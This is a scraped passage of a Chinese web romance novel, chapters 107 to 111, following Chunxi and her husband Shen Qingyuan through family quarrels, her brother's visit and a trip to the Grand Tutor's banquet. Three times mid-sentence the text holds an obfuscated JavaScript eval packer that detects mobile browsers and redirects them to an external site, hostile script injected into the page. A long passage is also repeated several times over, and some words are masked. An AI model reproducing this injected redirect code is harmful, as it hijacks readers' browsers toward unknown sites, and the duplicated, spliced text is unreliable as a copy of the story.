这些年他几乎从未跟沈清渊起过冲突,甚至好多时候还会在沈清渊面前充当老好人,他本以为自己表现得足够温润平和,在沈清渊心里多少有那么两分兄弟情,没想到沈清渊竟然一直都知道他的野心! 这个大哥的城府到底有多深? 第107章 夫人可知为夫这一路忍得有多辛苦? 问心院里春喜已经睡下不过卧房亮着灯。 用了灯罩光亮不强但在黑暗中还是十分亮眼。 沈清渊周身的气息在看到卧房的亮光后暖起来踏入院中香浓的鸡汤味扑鼻而来。 春喜在厨房给他留了饭菜除了鸡汤还有小笼包和梅菜扣肉。 晚上他陪陛下一起吃过了不过没吃多少这会儿闻着香气又饿了。 沈清渊当即拿筷子吃了一个小笼包。 包子是鲜肉馅儿的馅儿调得很好面也和得喧软蓬松包子底部浸满肉汁鲜香可口。 就着梅菜吃了七八个小笼包又喝了一碗鸡汤沈清渊才满足地放下筷子。 锅里热水是现成的沈清渊索性洗了澡才回屋。 春喜果然睡得很浅他刚进门人就醒了。 春喜的眼皮还没完全睁开嘴上已经念叨开:“厨房热着菜夫君先洗澡吧 困意浓烈春喜半眯着眼睛坐在床边赤着脚在榻边找鞋。 幼时习武后来又在卫家干粗活她的脚不是眼下备受追捧的三寸金莲脚掌有点大但皮肤白脚趾也圆润指甲是很健康的粉色瞧着就可爱。 沈清渊快步走到床边把人抱回床上:“我已经吃过了很香。” “啊?你怎么不叫醒我我还有好多话想跟你说呢。” 春喜有些不满她今天回来吃了好大一个瓜就等着分享给他听呢。 还没完全清醒春喜的语气不自觉带着两分娇嗔。 沈清渊的心软了又软忍不住把人捞进怀里亲:“以后时间很长夫人有什么话可以慢慢说与我听。” 沈清渊亲得很温柔春喜便也仰头配合很快横在她腰间的手用力收紧昭示出其主人的意图。 春喜的眼睛睁大了些人也跟着清醒过来。 春喜推开沈清渊喘着气开口:“夫君赶了这么多天的路你不累吗?” 倒不是春喜有意推辞而是这些日子确实很累。 他们后来改走水路虽然轻松了些但要打起十二分的精神应对不知什么时候就会冒出来的刺客一刻也不敢懈怠。 沈清渊作为发号施令的人要忙的事更多自然更累。 “夫人是在担心为夫不行?” 沈清渊反问。 他没灭灯眸底的不悦很明显。 春喜连忙摇头:“我只是心疼夫君。” “无妨陛下体恤臣子特准我在 家休假十日,为夫有的是时间休息。” “可是今天已经很晚了,要不明日?” 一回京就跟莫氏和莫家对峙一场,还打扫屋子煮了饭,春喜感觉自己的身体有点儿被掏空了。 听出春喜话里的疲倦,沈清渊无奈地叹了口气,他埋首在春喜颈间,失笑道:“我做了近三十年的苦行僧,好不容易开荤,夫人可知我这一路忍得有多辛苦?” 诶?这一路大人有在忍吗? 那晚帮她擦药的时候,大人不是还一本正经吗? 春喜有些不相信,但更多的是甜蜜。 她还以为自己那晚的表现很差劲,没想到大人还食髓知味了。 得意劲儿上来,春喜倒是有些不忍心了,她想了想说:“那要不夫君先来一次解解馋?” “好。” 春喜的尾音还没完全落下,沈清渊就应了声,而后一个翻身,将春喜压在身下。 “等等,夫君,还没灭灯……唔!” 唇被封住,春喜很快就见识到饿疯了的老男人有多可怕,再没有精力在意灭没灭灯的问题。 整整一夜被翻来覆去,春喜连自己什么时候睡过去的都不知道。 第二天她睡到中午才醒,刚动了一下,就感觉身子像是散了架。 嘶~ 说好的一次,大人他说话不算话! 春喜气得咬牙,她颤着腿穿好衣服,准备找沈清渊算账,走出房门却看到自家大哥正和沈清渊一起坐在院子里喝茶。 “大哥。” 春喜唤了一声,发现自己的嗓子也有些哑,不由得哀怨地瞪了沈清渊一眼。 沈清渊这会儿又恢复了平日的严肃正经,主动起身来扶春喜:“夫人连日来辛苦了,怎么不多睡会儿?” 你还知道我辛苦,昨晚怎么求你停你都不停? 春喜不客气地在沈清渊腰间又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578767|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掐又拧,沈清渊面不改色,甚至还对曹武说:“不管婚前还是婚后,阿喜对家人的感情都是不会改变的,大哥以后可以随时来侯府找阿喜。” 沈清渊态度平和,一点儿架子都没有,和春喜的相处也很亲密自然。 曹武这些日子悬着的心终于放下,他笑着站起身:“妹夫刚破了大案,日后肯定很忙,看到阿喜过得好我就放心了,以后我也要多赚钱养家,不会常来叨扰的。” 曹武说完就要离开,春喜开口叫住他:“大哥今日来找我可是为了娘?” 昨日她都没让王氏说几句话,就把人赶了出去,王氏回去肯定会闹得 人仰马翻。 春喜都已经猜到了,曹武却还嘴硬地说:“娘没什么事,昨日她虽然气冲冲地回家,但我和你大嫂劝说一通后,她就想开了,家里一切都好着呢。” 娘硬把阿文塞给阿喜已经很过分了,曹武不想再让春喜烦心。 春喜心头微暖,她虽对王氏不满,但大哥大嫂对她一直都挺好的。 “大哥不必骗我,是我让人把娘赶出侯府的,没道理让你和大嫂替我承担娘的怒火。” 曹武连忙道:“阿喜你别犯糊涂,娘来侯府跟着外人一起逼你和妹夫和离本就不对,你什么都没有做错,更不必回家跟娘下跪道歉!” 王氏昨日回去,在家门口就闹开了,痛斥春喜不孝,嫁了人连她这个娘都不认了,还扬言说春喜不回去下跪认错,她就一**之。 曹武和钱氏轮番劝了,但都没用,今早曹武出门之前,王氏还把自己锁在屋里不吃不喝呢。 春喜早有预料,她挑眉道:“我只是说我有办法平息娘的怒火,什么时候说我要回去下跪道歉了?” 曹武不解,春喜继续道:“有劳大哥回去转告娘,皇后娘娘亲自下旨褒奖了我,还着礼部为我和夫君补办婚礼,就算娘真的想不开寻了短见,也不会有人苛责我半句,我会心安理得的享受荣华富贵,成为贵夫人,再为娘挑一块风水好的墓地博个孝女美名。” 曹武:“……” 阿喜,还得是你,这下不诅咒死你,娘哪舍得**啊。 第108章 我只认她一人为妻 离开瀚京前春喜做了些肉干她给曹武拿了些又拿了两套自己抽时间给侄儿做的衣服鞋袜。 曹武给儿子取名曹正希望儿子以后做个踏实正直的人。 拿着春喜给的东西 春喜有些哭笑不得:“大哥你放心吧我在侯府过得可好了没人敢欺负我。” 曹武点点头想了想又把春喜拉到一边小声说:“虽说你现在年纪还小但妹夫都快三十了也该要个孩子了如今妹夫立下大功肯定要升官到时少不得有莺莺燕燕往他身上扑有个孩子你的地位才能稳固。” 这种话本不该曹武这个做哥哥的来说但王氏和春喜现在的母女关系太僵曹武只能硬着头皮提醒。 听到这话春喜就想到昨晚不可描述的画面腿立时就软了她含含糊糊道:“我明白大哥放心吧。” 就这么会儿功夫春喜打了好几个哈欠。 曹武只当她是一路奔波辛苦了执意不让她送沈清渊主动道:“夫人好好休息吧我送大哥出府。” 曹武连声应下春喜便也不再坚持。 出了问心院曹武还想叮嘱沈清渊几句没来得及张口就听到沈清渊说:“大哥不必担心我心悦阿喜不管身居何位此生都只认她这一个妻子平日也会洁身自好绝不让什么莺莺燕燕往我身上扑。” 曹武没想到沈清渊的听力如此敏锐竟将他刚刚的话全都听了去。 他有些尴尬但见沈清渊一脸认真还是鼓足勇气说:“妹夫今日所言我相信都是真的但我们两家的差距实在太大就算妹夫喜欢妹夫家里的人恐怕也会有意见而且人心易变谁也说不准以后会发生什么妹夫若真爱重阿喜不妨多给阿喜一些旁人夺不走的倚仗。” 钱财这种东西都是身外之物但十月怀胎生下来的孩子不一样那是跟阿喜打断骨头还连着筋的。 沈清渊明白曹武的意思他颔首道:“大哥说的我都明白我的子嗣只会由阿喜所出不过阿喜现在年岁尚小我想让她快活一些日子再生孩子。” 春喜十岁就进了卫家做丫鬟这些年不知吃了多少苦曹武自然也希望她能过得松快些他听出沈清渊对春喜的爱意忍不住问:“妹夫马上就要到而立之年难道不着急要子嗣吗?” “不急我的身体挺好的就算再过几年也能要上 孩子。” 沈清渊答得很快,非常自信。 曹武看着他颈侧带血的抓痕,一颗心也落了地,连忙附和:“妹夫说的是,你与阿喜新婚燕尔,多培养培养感情也好,你们的身体都很好,过几年要孩子也是没问题的。” 走出侯府,曹武的脚步比来时轻快许多。 阿喜嫁对了人,爹在九泉之下也能安心了。 春喜并不知道沈清渊跟自家大哥聊了什么,正在屋里等着跟沈清渊算账呢。 然而不等她开口,沈清渊就先发制人:“夫人昨夜对为夫真是下了死手,害得为夫今日被大哥狠狠笑话了一番。” “……”??? 昨晚被翻来覆去折腾的人分明是她,今天她还要被埋怨上了? 许是心态变化,春喜如今再看沈清渊,只觉得他脸上的正气都是伪装,他根本就是一只深藏不露的老狐狸! 春喜不打算认下这莫须有的罪名,她板着脸说:“夫君莫要恶人先告状,昨夜是夫君不守承诺在先,我整个人都差点儿被夫君折腾散架,今日险些连床都下不了。” “是吗,我帮夫人揉揉。” 沈清渊说着上前,揽着春喜在她腰上轻轻揉捏起来。 想到昨晚这双手干过什么,春喜的脸一下子热起来,但沈清渊的力道适中,按得挺舒服的,她一时又不想喊停,正享受着,曹文怯怯的声音响起:“阿姐、姐夫。” 春喜连忙推开沈清渊。 曹文扫了一圈没见到大哥,眼眶顿时红了,嘴角也跟着下压。 阿姐一声不吭就跟着姐夫去了徐州,他被贾嬷嬷赶去了下人房做事,偶尔侯夫人不高兴还要拿他撒火,他想回家诉苦,门房却不许他出去,今日若不是他无意中听到其他人讲话,都不知道今日大哥来了。 春喜对曹文的委屈视而不见,淡声道:“大哥是来看我的,确定我过得好,他就走了。” 这段时间吃了太多苦,遭了太多白眼,曹文早就对春喜这个姐姐失望,只希望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578768|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大哥能救自己脱离苦海。 听到曹武已经离开,曹文顿时急了:“我已经好久都没有见到大哥了,阿姐怎么不事先通知我一声?” “你没听到我说吗,大哥是来看我的,而且昨日娘也来侯府了,娘都没想着要来看看你,大哥为什么要来看你?” 娘也来过侯府了? 曹文满脸震惊,受伤不已。 虽然之前他就意识到自己回不去家里了,但听到娘和大哥来了侯府都不见自己,还是很难过,他有种被所 有人抛弃的感觉。 可明明阿姐成婚之前还好好的,怎么突然所有人都不要他了呢? 曹文忍不住落下泪来,春喜一点儿没心疼,反而毫无感情地问:“别急着哭,你的活干完了吗?” “……” 曹文噎住,他隐隐约约意识到,没有人能救他离开这里,他只能靠自己。 沉默良久,曹文跪下开口:“阿姐,我想回书院念书,求你让我回书院吧。” “可是书院离侯府很远,侯府没有马车能接送你。” “我可以自己早点起床走路去书院。” “但书院的束脩很贵,娘也没把束脩给我,你的吃住还都在侯府。” “我放学回来会干活的,剩下的我可以写欠条,以后我一定想办法还给你。” 比起在侯府被人嘲讽奚落,还要无休止地干活,借钱去念书根本不算什么。 曹文握紧拳头,一脸坚决。 春喜也没客气,当即拿来纸笔让曹文写下欠条,按下手印。 吹干墨水,春喜偏头问沈清渊:“夫君,青书什么时候能回来呀?书院的事我想麻烦他去走一遭。” 沈清渊:“他不是帮你做事去了吗?” 春喜:“不是夫君另外指派他去做事了吗?” 徐州大牢某个角落,青书抓着牢门声嘶力竭地解释:“我真的不是粱府的下人,我是钦差大臣的贴身随从,你们去问一下我家大人就知道了。” “哟,你是钦差大臣的贴身随从,我还是你家夫人的娘家表舅呢。” “……” 第109章 太傅府宴请 沈清渊立刻修书派人送去徐州解救青书,眼下书院正放假,等收假后再给曹文重新办理入学也合适。 之前从家里来,曹文只带了几套换洗衣裳,和平日要用的课本,没带沈清渊送他的那几本书,他跟春喜告了假,又回了一趟家。 一到家,王氏就迫不及待地把曹文拉到面前。 “你怎么突然回来了,可是曹春喜那个没心肝的把你撵回来的,我不是告诉过你,不管发生什么,你都得留在侯府吗,你怎么这么没用? 那日被赶出侯府实在让王氏没脸,但她听到曹武说春喜得了皇后夸赞,日后会成为正儿八经的世家贵夫人,又觉得自己很有先见之明,早早地就把曹文塞到了春喜身边。 等阿文学业有成,还可以把正儿接到侯府一起培养,这样他们家也能跟着好起来。 王氏正坐着美梦,见曹文回家,自然气得不行。 曹文原本还抱有一丝幻想,觉得娘亲会很想自己,第一时间会关心自己在侯府过得好不好,没想到一进门,扑头盖脸的只有指责。 曹文挣脱王氏的手,低声道:“阿姐没有赶我出府,之前姐夫送了我好几本书,我是回来拿书的。 没被赶出来就好。 王氏松了口气,这才问起曹文在侯府过得怎么样。 曹文不愿多说,态度和春喜如出一辙的冷淡。 王氏顿时意识到儿子跟自己离了心,她怕春喜故意在背后挑唆使坏,当即道:“你身上怎么还穿着之前的旧衣裳,你阿姐不给你置新衣裳吗,还有你姐夫家里肯定有很多书,哪里还缺你这几本? 说着话,王氏进屋拿了二两银子给曹文:“阿文,娘也不想你在侯府寄人篱下,但娘实在没有本事,你姐夫日后可是要袭爵的,眼下又破了大案子,你待在侯府别人也会高看你一眼,这点儿钱你拿着,若是读书饿了就自己买些吃的。 以前曹文半个月的零花钱不过几个铜板,这二两银子对他来说很多很多了,但他才刚和春喜签了好几十两的欠条,这二两银子就显得有些不够看了。 但他还是接过来,小声说:“多谢娘,我以后会好好念书的,我该走了。 只是匆匆一面便又要分离,王氏生出伤感,落下泪来,却还是拉着曹文说:“阿文,你也别太害怕,你可是你姐的亲弟弟,侯府上下都得叫你一声小少爷,你多在你阿姐面前说说正儿,他现在长得可好了,都会翻身了,等正儿到了启蒙的年纪,就让他到侯府跟你作伴。 曹文看了眼被嫂嫂 抱在怀中还什么都不知道的小侄儿,淡淡道:“不用了,我在侯府挺好的,不需要人陪。” 曹文说完背上小包袱大步离开。 王氏追着送出巷子,曹文却始终没有回头看她一眼。 回到家,王氏哭得停不下来:“这才几个月,阿文跟我一点儿都不亲了,定是那个黑心肝的死丫头在阿文面前说我坏话,她怎么这么狠心,自己不认我也就算了,还离间我和阿文的感情,这世上怎么会有她这样的女儿啊!” 自从被赶出侯府,王氏每天都要骂春喜几句,起初街坊四邻还爱来听个热闹,然而王氏翻来复去就是些车轱辘话,春喜又不回来跟她对质,街坊四邻听腻了也就不来了。 就连隔壁李婶都躲着王氏,生怕被王氏瞧见,就要拉着她吐大半天的苦水。 钱氏忍不住替春喜辩解:“娘,妹妹前些日子都和妹夫在徐州呢,哪有机会在阿文面前说坏话,您别多想。” 这话王氏可不爱听,她掀眸瞪着钱氏:“这个黑心肝的就只给正儿送了两套衣裳,我伺候你坐月子,还帮你带孩子,你就被这么点儿小恩小惠收买了?” 钱氏低头逗孩子不说话了。 她知道春喜受了很多委屈,但她和孩子都是得了王氏照顾的,日后还要和武哥一起给王氏养老送终,不能像春喜那样跟王氏闹僵。 —— 春喜早就不在意王氏如何看待自己这个女儿了。 沈清渊这次回京很是高调,虽然提拔他的任命还没下来,已有不少人递了帖子想要与他结交,沈清渊不得不外出交际起来。 春喜也收到不少帖子。 莫氏被沈清宇气得不轻,眼下还躺在床上起不来,帖子便都直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578769|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接送到问心院来。 春喜本想都拒了,贾嬷嬷却来替莫氏传话:“太傅府小少爷三日后抓周,夫人尚在病中去不了,还请少夫人陪着小姐去太傅府走一遭,太傅夫人很喜欢小姐,夫人到时记得让小姐多表现一下,若是两家能成好事,日后对大少爷的仕途也会有所助益。” 春喜有些意外:“二弟和三弟尚未议亲,母亲就要着急把小妹嫁出去?” 贾嬷嬷板着脸说:“太傅府是书香门第,底蕴深厚,若真的能嫁进去那是小姐的福分。” “哦。” 春喜点头,没与贾嬷嬷争辩什么。 等沈清渊从外面回来,立刻与他说了此事:“夫君经常在外走动,可知太傅府的几位少爷品性如何?” 春喜准备了醒酒汤,沈清渊喝完才看她:“你 想插手此事?” 他从很早的时候就知道自己不是沈家血脉,因莫氏的关系,跟沈清越他们更是疏离,对沈清迟这个妹妹也没什么感情。 春喜当即道:“我入府以后,妹妹待我还算不错,我也不是要如何插手这件事,只是觉得她性子软懦,怕她日后受欺负,想多了解一些,三日后我毕竟要陪她走这一遭,万一她过不好,别人说不定也是要在背后议论我的。” 其实春喜和沈清迟相处不算多,但别人对她好一分,她都是记在心里的。 沈清渊了然开口:“我对别人的家事不太了解,但梁为民跟太傅的关系很不错,娶的还是太傅一位同窗的女儿,这次的案子对太傅府也会有些影响,若她还未动心,最好换个议亲对象。” 春喜抓住沈清渊的手重重点头:“多谢夫君提点,我知道该怎么做了,我去帮夫君提热水。” 春喜说完就走,沈清渊却追上来将她抱起,哑声呢喃:“我与夫人一起。” “夫君,只是提水而已,我自己去就好了。” 春喜察觉到危险,试图挣脱沈清渊的怀抱,沈清渊收紧手臂,轻松将她钳制:“之后的事,也一起。” “……” 大人,你变了!你再这样下去身体肯定会垮掉的! 第110章 小心点儿,别伤着手 赴宴这日,天气晴好。 沈清迟精心打扮了一番才来到问心院找春喜。 好些日子没见到春喜,今日去赴宴还带着让人相看的意味,沈清迟有些害羞,脸颊一直泛红,发现沈清渊竟然要和她们一起去太傅府时,脸更是瞬间红透。 “大哥也……也要去太傅府赴宴吗?” 沈清迟紧张到说话都有点结巴,沈清渊还是那副冷淡模样:“怎么,我不能去?” 沈清迟连忙摇头:“没,没有。” 只是有大哥在,她就不好跟大嫂说话了。 沈清迟有些遗憾,然而出了门,却见自家大哥被赶下了马车。 “夫君还是自己骑马吧,你体力好,又长得好看,骑马肯定特别威风。” 春喜先一步上了马车,堵在车上皮笑肉不笑地看着沈清渊。 自那夜迷迷糊糊被沈清渊拐去共浴后,沈清渊就越发过分了,每日夜里都要缠着她折腾好久,而且还不一定是在床上。 昨晚她惦记着要出门赴宴,特意与他商量不要折腾太过,结果他嘴上答应得好好的,却比前两日更过分! 春喜今日浑身酸软,险些起不来,自然不会给他好脸色。 沈清迟感受到两人之间的气氛有些奇怪,下意识地屏住呼吸,她本以为自家大哥会生气发怒,下一刻却听到自家大哥含笑的声音:“既然夫人想看为夫骑马,为夫就骑给夫人看。” “……”??? 沈清迟一脸茫然。 原来她家大哥脾气这么好的吗? 春喜没再理会沈清渊,招呼沈清迟上了马车。 马车帘子放下,春喜直白地问:“母亲的意思我都知道了,不知妹妹心仪太傅家中哪位少爷?” “……”!!! 没想到春喜会这样发问,沈清迟的脸一下子涨得通红,她低下头,完全不敢和春喜有眼神对视,声音细如蚊鸣:“大嫂,你别误会,我只跟着二舅母去过太傅家里一次,并未见过他们府里的少爷。” “没见过,可我怎么听说太傅府有意与咱们结亲?” 沈清迟越发难堪,但马车就这么小,她也没地方躲,只能硬着头皮说:“太傅夫人上次说过喜欢我的性子,娘的意思是让我抓紧机会好好表现,若是太傅府的少爷能看上我,就让我嫁进去。” 从很小的时候沈清迟就明白,她的婚事是给二哥三哥铺路的,她没有选择自己喜欢的人的权力,娘要她嫁给谁,她就得嫁。 如今她就像是摆在案上供太傅府几 位少爷挑选的白菜,不管谁看中了她,都是她的福分。 春喜一下子就听出了沈清迟话里的卑微,她忍不住问:“万一几位少爷都看中你了呢,你选谁?” “大嫂不要拿我打趣了,我相貌平平,也没什么拿得出手的才能,连日常交际都不擅长,怎会被太傅府几位少爷争抢呢?” 说到最后,沈清迟的声音带了些许哭腔。 也许就是因为她不够好,所以娘才会轻易舍弃她吧。 春喜没想到沈清迟如此脆弱,连忙递了帕子给她擦泪,又安慰道:“大嫂怎会打趣你呢,我这样的身份都嫁给你大哥了,你好歹是正儿八经的侯府千金,怎会没有人喜欢?” 春喜毫不避讳谈论自己的出身。 沈清迟想到方才自家大哥言听计从的样子,心底生出艳羡,但更多的是悲凉。 她和大嫂不一样的。 大哥的娘亲走得早,爹从来不管府里的事,娘又一直不喜欢大哥,所以给大哥娶的两任嫂嫂都出了事,害大哥被扣上克妻的罪名,新嫂嫂出身低微,不能给大哥带来助力,正合了娘的心意,所以这桩婚事才会如此顺利。 太傅府的几位少爷都是双亲俱在的,为人父母哪有不希望儿子娶个门当户对、还才貌俱佳的好姑娘? 她的才貌不够格,门第在世家大族里也不高,娘当年又是以那样不光彩的手段上位的,如今还非要逼着她高嫁,她自然只有任人挑选的份。 沈清迟不敢跟春喜在背后议论莫氏和沈清渊,只能红着眼说:“大嫂,我的婚事,只有让母亲满意才行。” “那你现在有喜欢的人吗?” 沈清迟摇头。 莫氏把她看得很严,从不让她单独出府,她没有机会接触外男。 春喜点点头,心里有了谱。 沈清迟尚未动心,那和太傅府的婚事不成,她应该也不会太难过。 春喜没再追问,安抚了沈清迟一会儿,拍着她的肩膀提醒:“好妹妹,这婚姻大事关乎的可是你后半辈子的幸福,你得自己有主见才行,你看我,若是我任由家里摆布,如今就该在一个破烂的院子里给一家老小当牛做马了。” 春喜拿自己举例是很有说服力的,但沈清迟的眼睛只是亮了一瞬便又暗了下去:“大嫂,谢谢你,但我没有你这样厉害,我不能让娘失望。” 她是在娘的掌控中长大的,早就习惯了听从娘的安排,她没有勇气反抗,更无法面对反抗失败的后果。 春喜沉默,她知道自己不该随便介入 别人的因果,却还是忍不住问:“那你呢,你这辈子都不打算为自己活一活吗?” 这句话,过去十年在卫家,春喜问过自己无数次。 现在,她有很确定的答案。 被这句话触动,沈清迟落下泪来,但最终她什么都没说。 她似乎从来都是个没有自我的人。 接下来一路春喜都没再说话,马车里沉闷得可怕。 等马车到了太傅府,沈清迟迫不及待地下了马车,春喜落在后面,她刚掀开帘子,就见沈清渊站在车旁,正伸出手要扶自己。 就知道事后装体贴。 春喜不想理会,正想从另一边下车,一转身就看到卫凌泽把萧清禾从马车上抱了下来。 萧清禾应该没有料到卫凌泽会有这样的举动,吓得惊呼一声,有些花容失色。 即便如此,她的手只是握拳放在胸前,并未搂住卫凌泽的脖子。 这是一个很明显的防备姿态。 卫凌泽这个狗东西果然不干人事。 春喜暗骂了句,重新转身,把手交给沈清渊,矜持地下了马车,而后凑到沈清渊耳边低语:“夫君,我今天可能有点儿想**,你能帮我撑腰吗?” “嗯,”沈清渊点头,而后捏了捏她的手,“小心点儿,别伤着手。” 别人的因果,却还是忍不住问:“那你呢,你这辈子都不打算为自己活一活吗?” 这句话,过去十年在卫家,春喜问过自己无数次。 现在,她有很确定的答案。 被这句话触动,沈清迟落下泪来,但最终她什么都没说。 她似乎从来都是个没有自我的人。 接下来一路春喜都没再说话,马车里沉闷得可怕。 等马车到了太傅府,沈清迟迫不及待地下了马车,春喜落在后面,她刚掀开帘子,就见沈清渊站在车旁,正伸出手要扶自己。 就知道事后装体贴。 春喜不想理会,正想从另一边下车,一转身就看到卫凌泽把萧清禾从马车上抱了下来。 萧清禾应该没有料到卫凌泽会有这样的举动,吓得惊呼一声,有些花容失色。 即便如此,她的手只是握拳放在胸前,并未搂住卫凌泽的脖子。 这是一个很明显的防备姿态。 卫凌泽这个狗东西果然不干人事。 春喜暗骂了句,重新转身,把手交给沈清渊,矜持地下了马车,而后凑到沈清渊耳边低语:“夫君,我今天可能有点儿想**,你能帮我撑腰吗?” “嗯,”沈清渊点头,而后捏了捏她的手,“小心点儿,别伤着手。” 别人的因果,却还是忍不住问:“那你呢,你这辈子都不打算为自己活一活吗?” 这句话,过去十年在卫家,春喜问过自己无数次。 现在,她有很确定的答案。 被这句话触动,沈清迟落下泪来,但最终她什么都没说。 她似乎从来都是个没有自我的人。 接下来一路春喜都没再说话,马车里沉闷得可怕。 等马车到了太傅府,沈清迟迫不及待地下了马车,春喜落在后面,她刚掀开帘子,就见沈清渊站在车旁,正伸出手要扶自己。 就知道事后装体贴。 春喜不想理会,正想从另一边下车,一转身就看到卫凌泽把萧清禾从马车上抱了下来。 萧清禾应该没有料到卫凌泽会有这样的举动,吓得惊呼一声,有些花容失色。 即便如此,她的手只是握拳放在胸前,并未搂住卫凌泽的脖子。 这是一个很明显的防备姿态。 卫凌泽这个狗东西果然不干人事。 春喜暗骂了句,重新转身,把手交给沈清渊,矜持地下了马车,而后凑到沈清渊耳边低语:“夫君,我今天可能有点儿想**,你能帮我撑腰吗?” “嗯,”沈清渊点头,而后捏了捏她的手,“小心点儿,别伤着手。” 别人的因果,却还是忍不住问:“那你呢,你这辈子都不打算为自己活一活吗?” 这句话,过去十年在卫家,春喜问过自己无数次。 现在,她有很确定的答案。 被这句话触动,沈清迟落下泪来,但最终她什么都没说。 她似乎从来都是个没有自我的人。 接下来一路春喜都没再说话,马车里沉闷得可怕。 等马车到了太傅府,沈清迟迫不及待地下了马车,春喜落在 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接下来一路春喜都没再说话,马车里沉闷得可怕。 等马车到了太傅府,沈清迟迫不及待地下了马车,春喜落在后面,她刚掀开帘子,就见沈清渊站在车旁,正伸出手要扶自己。 就知道事后装体贴。 春喜不想理会,正想从另一边下车,一转身就看到卫凌泽把萧清禾从马车上抱了下来。 萧清禾应该没有料到卫凌泽会有这样的举动,吓得惊呼一声,有些花容失色。 即便如此,她的手只是握拳放在胸前,并未搂住卫凌泽的脖子。 这是一个很明显的防备姿态。 卫凌泽这个狗东西果然不干人事。 春喜暗骂了句,重新转身,把手交给沈清渊,矜持地下了马车,而后凑到沈清渊耳边低语:“夫君,我今天可能有点儿想**,你能帮我撑腰吗?” “嗯,”沈清渊点头,而后捏了捏她的手,“小心点儿,别伤着手。” 别人的因果,却还是忍不住问:“那你呢,你这辈子都不打算为自己活一活吗?” 这句话,过去十年在卫家,春喜问过自己无数次。 现在,她有很确定的答案。 被这句话触动,沈清迟落下泪来,但最终她什么都没说。 她似乎从来都是个没有自我的人。 接下来一路春喜都没再说话,马车里沉闷得可怕。 等马车到了太傅府,沈清迟迫不及待地下了马车,春喜落在后面,她刚掀开帘子,就见沈清渊站在车旁,正伸出手要扶自己。 就知道事后装体贴。 春喜不想理会,正想从另一边下车,一转身就看到卫凌泽把萧清禾从马车上抱了下来。 萧清禾应该没有料到卫凌泽会有这样的举动,吓得惊呼一声,有些花容失色。 即便如此,她的手只是握拳放在胸前,并未搂住卫凌泽的脖子。 这是一个很明显的防备姿态。 卫凌泽这个狗东西果然不干人事。 春喜暗骂了句,重新转身,把手交给沈清渊,矜持地下了马车,而后凑到沈清渊耳边低语:“夫君,我今天可能有点儿想**,你能帮我撑腰吗?” “嗯,”沈清渊点头,而后捏了捏她的手,“小心点儿,别伤着手。” 别人的因果,却还是忍不住问:“那你呢,你这辈子都不打算为自己活一活吗?” 这句话,过去十年在卫家,春喜问过自己无数次。 现在,她有很确定的答案。 被这句话触动,沈清迟落下泪来,但最终她什么都没说。 她似乎从来都是个没有自我的人。 接下来一路春喜都没再说话,马车里沉闷得可怕。 等马车到了太傅府,沈清迟迫不及待地下了马车,春喜落在后面,她刚掀开帘子,就见沈清渊站在车旁,正伸出手要扶自己。 就知道事后装体贴。 春喜不想理会,正想从另一边下车,一转身就看到卫凌泽把萧清禾从马车上抱了下来。 萧清禾应该没有料到卫凌泽会有这样的举动,吓得惊呼一声,有些花容失色。 即便如此,她的手只是握拳放在胸前,并未搂住卫凌泽的脖子。 这是一个很明显的防备姿态。 卫凌泽这个狗东西果然不干人事。 春喜暗骂了句,重新转身,把手交给沈清渊,矜持地下了马车,而后凑到沈清渊耳边低语:“夫君,我今天可能有点儿想**,你能帮我撑腰吗?” “嗯,”沈清渊点头,而后捏了捏她的手,“小心点儿,别伤着手。” 第111章 好久不见,二侄女你变礼貌啦 太傅桃李满天下即便只是府里小少爷满周岁来府上的客人也不少写过礼后春喜便和沈清迟一起去往后院拜见太傅夫人。 太傅夫人的年纪和萧老夫人差不多不过她并未放权给儿媳妇仍把持着掌家大权她抱着曾孙接受着众人的恭贺乍一看跟宫里的老佛爷似的。 春喜在门外粗略扫了一眼便收回目光 太傅夫人对沈清迟的态度还算温和拉着她的手一阵问话。 看似是嘘寒问暖实则是想探听莫芸婉和沈清渊的事是如何解决的沈清迟只含含糊糊地说莫氏偶感风寒病了所以才没有出门但了解内情的人都知道莫氏是被气病的。 这清远侯府不止没落笑料更是层出不穷如今沈清渊立下大功肯定会擢升日后莫氏只怕还有的折腾呢。 沈清迟所有的注意力都用在和太傅夫人的应答上根本没有注意到其他春喜却用余光扫到好几位世家夫人用绢帕掩唇正在暗中嘲笑她们。 太傅夫人跟沈清迟说完话就打发她们去角落落座完全没有要跟春喜说话的意思。 春喜并不在意落座后神态自若地抓了一把瓜子嗑起来。 沈清迟的身子绷得很紧不敢有丝毫懈怠生怕被人说仪态不好春喜用手肘碰了她一下:“别绷着了这会儿又没人看我们这瓜子还挺香的尝尝。” 